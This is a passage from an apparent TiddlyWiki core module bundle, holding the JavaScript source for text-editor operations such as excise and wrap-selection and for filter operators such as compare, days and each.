"text": "/*\\\ntitle: $:/core/modules/editor/operations/text/excise.js\ntype: application/javascript\nmodule-type: texteditoroperation\n\nText editor operation to excise the selection to a new tiddler\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports[\"excise\"] = function(event,operation) {\n\tvar editTiddler = this.wiki.getTiddler(this.editTitle),\n\t\teditTiddlerTitle = this.editTitle;\n\tif(editTiddler && editTiddler.fields[\"draft.of\"]) {\n\t\teditTiddlerTitle = editTiddler.fields[\"draft.of\"];\n\t}\n\tvar excisionTitle = event.paramObject.title || this.wiki.generateNewTitle(\"New Excision\");\n\tthis.wiki.addTiddler(new $tw.Tiddler(\n\t\tthis.wiki.getCreationFields(),\n\t\tthis.wiki.getModificationFields(),\n\t\t{\n\t\t\ttitle: excisionTitle,\n\t\t\ttext: operation.selection,\n\t\t\ttags: event.paramObject.tagnew === \"yes\" ? [editTiddlerTitle] : []\n\t\t}\n\t));\n\toperation.replacement = excisionTitle;\n\tswitch(event.paramObject.type || \"transclude\") {\n\t\tcase \"transclude\":\n\t\t\toperation.replacement = \"{{\" + operation.replacement+ \"}}\";\n\t\t\tbreak;\n\t\tcase \"link\":\n\t\t\toperation.replacement = \"[[\" + operation.replacement+ \"]]\";\n\t\t\tbreak;\n\t\tcase \"macro\":\n\t\t\toperation.replacement = \"<<\" + (event.paramObject.macro || \"translink\") + \" \\\"\\\"\\\"\" + operation.replacement + \"\\\"\\\"\\\">>\";\n\t\t\tbreak;\n\t}\n\toperation.cutStart = operation.selStart;\n\toperation.cutEnd = operation.selEnd;\n\toperation.newSelStart = operation.selStart;\n\toperation.newSelEnd = operation.selStart + operation.replacement.length;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "texteditoroperation"
},
"$:/core/modules/editor/operations/text/make-link.js": {
"title": "$:/core/modules/editor/operations/text/make-link.js",
"text": "/*\\\ntitle: $:/core/modules/editor/operations/text/make-link.js\ntype: application/javascript\nmodule-type: texteditoroperation\n\nText editor operation to make a link\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports[\"make-link\"] = function(event,operation) {\n\tif(operation.selection) {\n\t\toperation.replacement = \"[[\" + operation.selection + \"|\" + event.paramObject.text + \"]]\";\n\t\toperation.cutStart = operation.selStart;\n\t\toperation.cutEnd = operation.selEnd;\n\t} else {\n\t\toperation.replacement = \"[[\" + event.paramObject.text + \"]]\";\n\t\toperation.cutStart = operation.selStart;\n\t\toperation.cutEnd = operation.selEnd;\n\t}\n\toperation.newSelStart = operation.selStart + operation.replacement.length;\n\toperation.newSelEnd = operation.newSelStart;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "texteditoroperation"
},
"$:/core/modules/editor/operations/text/prefix-lines.js": {
"title": "$:/core/modules/editor/operations/text/prefix-lines.js",
"text": "/*\\\ntitle: $:/core/modules/editor/operations/text/prefix-lines.js\ntype: application/javascript\nmodule-type: texteditoroperation\n\nText editor operation to add a prefix to the selected lines\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports[\"prefix-lines\"] = function(event,operation) {\n\tvar targetCount = parseInt(event.paramObject.count + \"\",10);\n\t// Cut just past the preceding line break, or the start of the text\n\toperation.cutStart = $tw.utils.findPrecedingLineBreak(operation.text,operation.selStart);\n\t// Cut to just past the following line break, or to the end of the text\n\toperation.cutEnd = $tw.utils.findFollowingLineBreak(operation.text,operation.selEnd);\n\t// Compose the required prefix\n\tvar prefix = $tw.utils.repeat(event.paramObject.character,targetCount);\n\t// Process each line\n\tvar lines = operation.text.substring(operation.cutStart,operation.cutEnd).split(/\\r?\\n/mg);\n\t$tw.utils.each(lines,function(line,index) {\n\t\t// Remove and count any existing prefix characters\n\t\tvar count = 0;\n\t\twhile(line.charAt(0) === event.paramObject.character) {\n\t\t\tline = line.substring(1);\n\t\t\tcount++;\n\t\t}\n\t\t// Remove any whitespace\n\t\twhile(line.charAt(0) === \" \") {\n\t\t\tline = line.substring(1);\n\t\t}\n\t\t// We're done if we removed the exact required prefix, otherwise add it\n\t\tif(count !== targetCount) {\n\t\t\t// Apply the prefix\n\t\t\tline = prefix + \" \" + line;\n\t\t}\n\t\t// Save the modified line\n\t\tlines[index] = line;\n\t});\n\t// Stitch the replacement text together and set the selection\n\toperation.replacement = lines.join(\"\\n\");\n\tif(lines.length === 1) {\n\t\toperation.newSelStart = operation.cutStart + operation.replacement.length;\n\t\toperation.newSelEnd = operation.newSelStart;\n\t} else {\n\t\toperation.newSelStart = operation.cutStart;\n\t\toperation.newSelEnd = operation.newSelStart + operation.replacement.length;\n\t}\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "texteditoroperation"
},
"$:/core/modules/editor/operations/text/replace-all.js": {
"title": "$:/core/modules/editor/operations/text/replace-all.js",
"text": "/*\\\ntitle: $:/core/modules/editor/operations/text/replace-all.js\ntype: application/javascript\nmodule-type: texteditoroperation\n\nText editor operation to replace the entire text\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports[\"replace-all\"] = function(event,operation) {\n\toperation.cutStart = 0;\n\toperation.cutEnd = operation.text.length;\n\toperation.replacement = event.paramObject.text;\n\toperation.newSelStart = 0;\n\toperation.newSelEnd = operation.replacement.length;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "texteditoroperation"
},
"$:/core/modules/editor/operations/text/replace-selection.js": {
"title": "$:/core/modules/editor/operations/text/replace-selection.js",
"text": "/*\\\ntitle: $:/core/modules/editor/operations/text/replace-selection.js\ntype: application/javascript\nmodule-type: texteditoroperation\n\nText editor operation to replace the selection\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports[\"replace-selection\"] = function(event,operation) {\n\toperation.replacement = event.paramObject.text;\n\toperation.cutStart = operation.selStart;\n\toperation.cutEnd = operation.selEnd;\n\toperation.newSelStart = operation.selStart;\n\toperation.newSelEnd = operation.selStart + operation.replacement.length;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "texteditoroperation"
},
"$:/core/modules/editor/operations/text/save-selection.js": {
"title": "$:/core/modules/editor/operations/text/save-selection.js",
"text": "/*\\\ntitle: $:/core/modules/editor/operations/text/save-selection.js\ntype: application/javascript\nmodule-type: texteditoroperation\n\nText editor operation to save the current selection in a specified tiddler\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports[\"save-selection\"] = function(event,operation) {\n\tvar tiddler = event.paramObject.tiddler,\n\t\tfield = event.paramObject.field || \"text\";\n\tif(tiddler && field) {\n\t\tthis.wiki.setText(tiddler,field,null,operation.text.substring(operation.selStart,operation.selEnd));\n\t}\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "texteditoroperation"
},
"$:/core/modules/editor/operations/text/wrap-lines.js": {
"title": "$:/core/modules/editor/operations/text/wrap-lines.js",
"text": "/*\\\ntitle: $:/core/modules/editor/operations/text/wrap-lines.js\ntype: application/javascript\nmodule-type: texteditoroperation\n\nText editor operation to wrap the selected lines with a prefix and suffix\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports[\"wrap-lines\"] = function(event,operation) {\n\t// Cut just past the preceding line break, or the start of the text\n\toperation.cutStart = $tw.utils.findPrecedingLineBreak(operation.text,operation.selStart);\n\t// Cut to just past the following line break, or to the end of the text\n\toperation.cutEnd = $tw.utils.findFollowingLineBreak(operation.text,operation.selEnd);\n\t// Add the prefix and suffix\n\toperation.replacement = event.paramObject.prefix + \"\\n\" +\n\t\t\t\toperation.text.substring(operation.cutStart,operation.cutEnd) + \"\\n\" +\n\t\t\t\tevent.paramObject.suffix + \"\\n\";\n\toperation.newSelStart = operation.cutStart + event.paramObject.prefix.length + 1;\n\toperation.newSelEnd = operation.newSelStart + (operation.cutEnd - operation.cutStart);\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "texteditoroperation"
},
"$:/core/modules/editor/operations/text/wrap-selection.js": {
"title": "$:/core/modules/editor/operations/text/wrap-selection.js",
"text": "/*\\\ntitle: $:/core/modules/editor/operations/text/wrap-selection.js\ntype: application/javascript\nmodule-type: texteditoroperation\n\nText editor operation to wrap the selection with the specified prefix and suffix\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports[\"wrap-selection\"] = function(event,operation) {\n\tif(operation.selStart === operation.selEnd) {\n\t\t// No selection; check if we're within the prefix/suffix\n\t\tif(operation.text.substring(operation.selStart - event.paramObject.prefix.length,operation.selStart + event.paramObject.suffix.length) === event.paramObject.prefix + event.paramObject.suffix) {\n\t\t\t// Remove the prefix and suffix\n\t\t\toperation.cutStart = operation.selStart - event.paramObject.prefix.length;\n\t\t\toperation.cutEnd = operation.selEnd + event.paramObject.suffix.length;\n\t\t\toperation.replacement = \"\";\n\t\t\toperation.newSelStart = operation.cutStart;\n\t\t\toperation.newSelEnd = operation.newSelStart;\n\t\t} else {\n\t\t\t// Wrap the cursor instead\n\t\t\toperation.cutStart = operation.selStart;\n\t\t\toperation.cutEnd = operation.selEnd;\n\t\t\toperation.replacement = event.paramObject.prefix + event.paramObject.suffix;\n\t\t\toperation.newSelStart = operation.selStart + event.paramObject.prefix.length;\n\t\t\toperation.newSelEnd = operation.newSelStart;\n\t\t}\n\t} else if(operation.text.substring(operation.selStart,operation.selStart + event.paramObject.prefix.length) === event.paramObject.prefix && operation.text.substring(operation.selEnd - event.paramObject.suffix.length,operation.selEnd) === event.paramObject.suffix) {\n\t\t// Prefix and suffix are already present, so remove them\n\t\toperation.cutStart = operation.selStart;\n\t\toperation.cutEnd = operation.selEnd;\n\t\toperation.replacement = operation.selection.substring(event.paramObject.prefix.length,operation.selection.length - event.paramObject.suffix.length);\n\t\toperation.newSelStart = operation.selStart;\n\t\toperation.newSelEnd = operation.selStart + operation.replacement.length;\n\t} else {\n\t\t// Add the prefix and suffix\n\t\toperation.cutStart = operation.selStart;\n\t\toperation.cutEnd = operation.selEnd;\n\t\toperation.replacement = event.paramObject.prefix + operation.selection + event.paramObject.suffix;\n\t\toperation.newSelStart = operation.selStart;\n\t\toperation.newSelEnd = operation.selStart + operation.replacement.length;\n\t}\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "texteditoroperation"
},
"$:/core/modules/filters/addprefix.js": {
"title": "$:/core/modules/filters/addprefix.js",
"text": "/*\\\ntitle: $:/core/modules/filters/addprefix.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for adding a prefix to each title in the list. This is\nespecially useful in contexts where only a filter expression is allowed\nand macro substitution isn't available.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.addprefix = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tresults.push(operator.operand + title);\n\t});\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/addsuffix.js": {
"title": "$:/core/modules/filters/addsuffix.js",
"text": "/*\\\ntitle: $:/core/modules/filters/addsuffix.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for adding a suffix to each title in the list. This is\nespecially useful in contexts where only a filter expression is allowed\nand macro substitution isn't available.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.addsuffix = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tresults.push(title + operator.operand);\n\t});\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/after.js": {
"title": "$:/core/modules/filters/after.js",
"text": "/*\\\ntitle: $:/core/modules/filters/after.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator returning the tiddler from the current list that is after the tiddler named in the operand.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.after = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tresults.push(title);\n\t});\n\tvar index = results.indexOf(operator.operand);\n\tif(index === -1 || index > (results.length - 2)) {\n\t\treturn [];\n\t} else {\n\t\treturn [results[index + 1]];\n\t}\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/all/current.js": {
"title": "$:/core/modules/filters/all/current.js",
"text": "/*\\\ntitle: $:/core/modules/filters/all/current.js\ntype: application/javascript\nmodule-type: allfilteroperator\n\nFilter function for [all[current]]\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.current = function(source,prefix,options) {\n\tvar currTiddlerTitle = options.widget && options.widget.getVariable(\"currentTiddler\");\n\tif(currTiddlerTitle) {\n\t\treturn [currTiddlerTitle];\n\t} else {\n\t\treturn [];\n\t}\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "allfilteroperator"
},
"$:/core/modules/filters/all/missing.js": {
"title": "$:/core/modules/filters/all/missing.js",
"text": "/*\\\ntitle: $:/core/modules/filters/all/missing.js\ntype: application/javascript\nmodule-type: allfilteroperator\n\nFilter function for [all[missing]]\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.missing = function(source,prefix,options) {\n\treturn options.wiki.getMissingTitles();\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "allfilteroperator"
},
"$:/core/modules/filters/all/orphans.js": {
"title": "$:/core/modules/filters/all/orphans.js",
"text": "/*\\\ntitle: $:/core/modules/filters/all/orphans.js\ntype: application/javascript\nmodule-type: allfilteroperator\n\nFilter function for [all[orphans]]\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.orphans = function(source,prefix,options) {\n\treturn options.wiki.getOrphanTitles();\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "allfilteroperator"
},
"$:/core/modules/filters/all/shadows.js": {
"title": "$:/core/modules/filters/all/shadows.js",
"text": "/*\\\ntitle: $:/core/modules/filters/all/shadows.js\ntype: application/javascript\nmodule-type: allfilteroperator\n\nFilter function for [all[shadows]]\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.shadows = function(source,prefix,options) {\n\treturn options.wiki.allShadowTitles();\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "allfilteroperator"
},
"$:/core/modules/filters/all/tags.js": {
"title": "$:/core/modules/filters/all/tags.js",
"text": "/*\\\ntitle: $:/core/modules/filters/all/tags.js\ntype: application/javascript\nmodule-type: allfilteroperator\n\nFilter function for [all[tags]]\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.tags = function(source,prefix,options) {\n\treturn Object.keys(options.wiki.getTagMap());\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "allfilteroperator"
},
"$:/core/modules/filters/all/tiddlers.js": {
"title": "$:/core/modules/filters/all/tiddlers.js",
"text": "/*\\\ntitle: $:/core/modules/filters/all/tiddlers.js\ntype: application/javascript\nmodule-type: allfilteroperator\n\nFilter function for [all[tiddlers]]\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.tiddlers = function(source,prefix,options) {\n\treturn options.wiki.allTitles();\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "allfilteroperator"
},
"$:/core/modules/filters/all.js": {
"title": "$:/core/modules/filters/all.js",
"text": "/*\\\ntitle: $:/core/modules/filters/all.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for selecting tiddlers\n\n[all[shadows+tiddlers]]\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar allFilterOperators;\n\nfunction getAllFilterOperators() {\n\tif(!allFilterOperators) {\n\t\tallFilterOperators = {};\n\t\t$tw.modules.applyMethods(\"allfilteroperator\",allFilterOperators);\n\t}\n\treturn allFilterOperators;\n}\n\n/*\nExport our filter function\n*/\nexports.all = function(source,operator,options) {\n\t// Get our suboperators\n\tvar allFilterOperators = getAllFilterOperators();\n\t// Cycle through the suboperators accumulating their results\n\tvar results = [],\n\t\tsubops = operator.operand.split(\"+\");\n\t// Check for common optimisations\n\tif(subops.length === 1 && subops[0] === \"\") {\n\t\treturn source;\n\t} else if(subops.length === 1 && subops[0] === \"tiddlers\") {\n\t\treturn options.wiki.each;\n\t} else if(subops.length === 1 && subops[0] === \"shadows\") {\n\t\treturn options.wiki.eachShadow;\n\t} else if(subops.length === 2 && subops[0] === \"tiddlers\" && subops[1] === \"shadows\") {\n\t\treturn options.wiki.eachTiddlerPlusShadows;\n\t} else if(subops.length === 2 && subops[0] === \"shadows\" && subops[1] === \"tiddlers\") {\n\t\treturn options.wiki.eachShadowPlusTiddlers;\n\t}\n\t// Do it the hard way\n\tfor(var t=0; t<subops.length; t++) {\n\t\tvar subop = allFilterOperators[subops[t]];\n\t\tif(subop) {\n\t\t\t$tw.utils.pushTop(results,subop(source,operator.prefix,options));\n\t\t}\n\t}\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/backlinks.js": {
"title": "$:/core/modules/filters/backlinks.js",
"text": "/*\\\ntitle: $:/core/modules/filters/backlinks.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for returning all the backlinks from a tiddler\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.backlinks = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\t$tw.utils.pushTop(results,options.wiki.getTiddlerBacklinks(title));\n\t});\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/before.js": {
"title": "$:/core/modules/filters/before.js",
"text": "/*\\\ntitle: $:/core/modules/filters/before.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator returning the tiddler from the current list that is before the tiddler named in the operand.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.before = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tresults.push(title);\n\t});\n\tvar index = results.indexOf(operator.operand);\n\tif(index <= 0) {\n\t\treturn [];\n\t} else {\n\t\treturn [results[index - 1]];\n\t}\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/commands.js": {
"title": "$:/core/modules/filters/commands.js",
"text": "/*\\\ntitle: $:/core/modules/filters/commands.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for returning the names of the commands available in this wiki\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.commands = function(source,operator,options) {\n\tvar results = [];\n\t$tw.utils.each($tw.commands,function(commandInfo,name) {\n\t\tresults.push(name);\n\t});\n\tresults.sort();\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/compare.js": {
"title": "$:/core/modules/filters/compare.js",
"text": "/*\\\ntitle: $:/core/modules/filters/compare.js\ntype: application/javascript\nmodule-type: filteroperator\n\nGeneral purpose comparison operator\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.compare = function(source,operator,options) {\n\tvar suffixes = operator.suffixes || [],\n\t\ttype = (suffixes[0] || [])[0],\n\t\tmode = (suffixes[1] || [])[0],\n\t\ttypeFn = types[type] || types.number,\n\t\tmodeFn = modes[mode] || modes.eq,\n\t\tinvert = operator.prefix === \"!\",\n\t\tresults = [];\n\tsource(function(tiddler,title) {\n\t\tif(modeFn(typeFn(title,operator.operand)) !== invert) {\n\t\t\tresults.push(title);\n\t\t}\n\t});\n\treturn results;\n};\n\nvar types = {\n\t\"number\": function(a,b) {\n\t\treturn compare($tw.utils.parseNumber(a),$tw.utils.parseNumber(b));\n\t},\n\t\"integer\": function(a,b) {\n\t\treturn compare($tw.utils.parseInt(a),$tw.utils.parseInt(b));\n\t},\n\t\"string\": function(a,b) {\n\t\treturn compare(\"\" + a,\"\" +b);\n\t},\n\t\"date\": function(a,b) {\n\t\tvar dateA = $tw.utils.parseDate(a),\n\t\t\tdateB = $tw.utils.parseDate(b);\n\t\tif(!isFinite(dateA)) {\n\t\t\tdateA = new Date(0);\n\t\t}\n\t\tif(!isFinite(dateB)) {\n\t\t\tdateB = new Date(0);\n\t\t}\n\t\treturn compare(dateA,dateB);\n\t},\n\t\"version\": function(a,b) {\n\t\treturn $tw.utils.compareVersions(a,b);\n\t}\n};\n\nfunction compare(a,b) {\n\tif(a > b) {\n\t\treturn +1;\n\t} else if(a < b) {\n\t\treturn -1;\n\t} else {\n\t\treturn 0;\n\t}\n};\n\nvar modes = {\n\t\"eq\": function(value) {return value === 0;},\n\t\"ne\": function(value) {return value !== 0;},\n\t\"gteq\": function(value) {return value >= 0;},\n\t\"gt\": function(value) {return value > 0;},\n\t\"lteq\": function(value) {return value <= 0;},\n\t\"lt\": function(value) {return value < 0;}\n}\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/contains.js": {
"title": "$:/core/modules/filters/contains.js",
"text": "/*\\\ntitle: $:/core/modules/filters/contains.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for finding values in array fields\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.contains = function(source,operator,options) {\n\tvar results = [],\n\t\tfieldname = (operator.suffix || \"list\").toLowerCase();\n\tif(operator.prefix === \"!\") {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(tiddler) {\n\t\t\t\tvar list = tiddler.getFieldList(fieldname);\n\t\t\t\tif(list.indexOf(operator.operand) === -1) {\n\t\t\t\t\tresults.push(title);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t} else {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(tiddler) {\n\t\t\t\tvar list = tiddler.getFieldList(fieldname);\n\t\t\t\tif(list.indexOf(operator.operand) !== -1) {\n\t\t\t\t\tresults.push(title);\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t}\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/count.js": {
"title": "$:/core/modules/filters/count.js",
"text": "/*\\\ntitle: $:/core/modules/filters/count.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator returning the number of entries in the current list.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.count = function(source,operator,options) {\n\tvar count = 0;\n\tsource(function(tiddler,title) {\n\t\tcount++;\n\t});\n\treturn [count + \"\"];\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/days.js": {
"title": "$:/core/modules/filters/days.js",
"text": "/*\\\ntitle: $:/core/modules/filters/days.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator that selects tiddlers with a specified date field within a specified date interval.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.days = function(source,operator,options) {\n\tvar results = [],\n\t\tfieldName = operator.suffix || \"modified\",\n\t\tdayInterval = (parseInt(operator.operand,10)||0),\n\t\tdayIntervalSign = $tw.utils.sign(dayInterval),\n\t\ttargetTimeStamp = (new Date()).setHours(0,0,0,0) + 1000*60*60*24*dayInterval,\n\t\tisWithinDays = function(dateField) {\n\t\t\tvar sign = $tw.utils.sign(targetTimeStamp - (new Date(dateField)).setHours(0,0,0,0));\n\t\t\treturn sign === 0 || sign === dayIntervalSign;\n\t\t};\n\n\tif(operator.prefix === \"!\") {\n\t\ttargetTimeStamp = targetTimeStamp - 1000*60*60*24*dayIntervalSign;\n\t\tsource(function(tiddler,title) {\n\t\t\tif(tiddler && tiddler.fields[fieldName]) {\n\t\t\t\tif(!isWithinDays($tw.utils.parseDate(tiddler.fields[fieldName]))) {\n\t\t\t\t\tresults.push(title);\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t} else {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(tiddler && tiddler.fields[fieldName]) {\n\t\t\t\tif(isWithinDays($tw.utils.parseDate(tiddler.fields[fieldName]))) {\n\t\t\t\t\tresults.push(title);\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t}\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/each.js": {
"title": "$:/core/modules/filters/each.js",
"text": "/*\\\ntitle: $:/core/modules/filters/each.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator that selects one tiddler for each unique value of the specified field.\nWith suffix \"list\", selects all tiddlers that are values in a specified list field.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.each = function(source,operator,options) {\n\tvar results =[] ,\n\tvalue,values = {},\n\tfield = operator.operand || \"title\";\n\tif(operator.suffix === \"value\" && field === \"title\") {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(!$tw.utils.hop(values,title)) {\n\t\t\t\tvalues[title] = true;\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t} else if(operator.suffix !== \"list-item\") {\n\t\tif(field === \"title\") {\n\t\t\tsource(function(tiddler,title) {\n\t\t\t\tif(tiddler && !$tw.utils.hop(values,title)) {\n\t\t\t\t\tvalues[title] = true;\n\t\t\t\t\tresults.push(title);\n\t\t\t\t}\n\t\t\t});\n\t\t} else {\n\t\t\tsource(function(tiddler,title) {\n\t\t\t\tif(tiddler) {\n\t\t\t\t\tvalue = tiddler.getFieldString(field);\n\t\t\t\t\tif(!$tw.utils.hop(values,value)) {\n\t\t\t\t\t\tvalues[value] = true;\n\t\t\t\t\t\tresults.push(title);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\t} else {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(tiddler) {\n\t\t\t\t$tw.utils.each(\n\t\t\t\t\toptions.wiki.getTiddlerList(title,field),\n\t\t\t\t\tfunction(value) {\n\t\t\t\t\t\tif(!$tw.utils.hop(values,value)) {\n\t\t\t\t\t\t\tvalues[value] = true;\n\t\t\t\t\t\t\tresults.push(value);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t);\n\t\t\t}\n\t\t});\n\t}\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/eachday.js": {
"title": "$:/core/modules/filters/eachday.js",
"text": "/*\\\ntitle: $:/core/modules/filters/eachday.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator that selects one tiddler for each unique day covered by the specified date field\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.eachday = function(source,operator,options) {\n\tvar results = [],\n\t\tvalues = [],\n\t\tfieldName = operator.operand || \"modified\";\n\t// Function to convert a date/time to a date integer\n\tvar toDate = function(value) {\n\t\tvalue = (new Date(value)).setHours(0,0,0,0);\n\t\treturn value+0;\n\t};\n\tsource(function(tiddler,title) {\n\t\tif(tiddler && tiddler.fields[fieldName]) {\n\t\t\tvar value = toDate($tw.utils.parseDate(tiddler.fields[fieldName]));\n\t\t\tif(values.indexOf(value) === -1) {\n\t\t\t\tvalues.push(value);\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t}\n\t});\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/editiondescription.js": {
"title": "$:/core/modules/filters/editiondescription.js",
"text": "/*\\\ntitle: $:/core/modules/filters/editiondescription.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for returning the descriptions of the specified edition names\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.editiondescription = function(source,operator,options) {\n\tvar results = [],\n\t\teditionInfo = $tw.utils.getEditionInfo();\n\tif(editionInfo) {\n\t\tsource(function(tiddler,title) {\n\t\t\tif($tw.utils.hop(editionInfo,title)) {\n\t\t\t\tresults.push(editionInfo[title].description || \"\");\t\t\t\t\n\t\t\t}\n\t\t});\n\t}\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/editions.js": {
"title": "$:/core/modules/filters/editions.js",
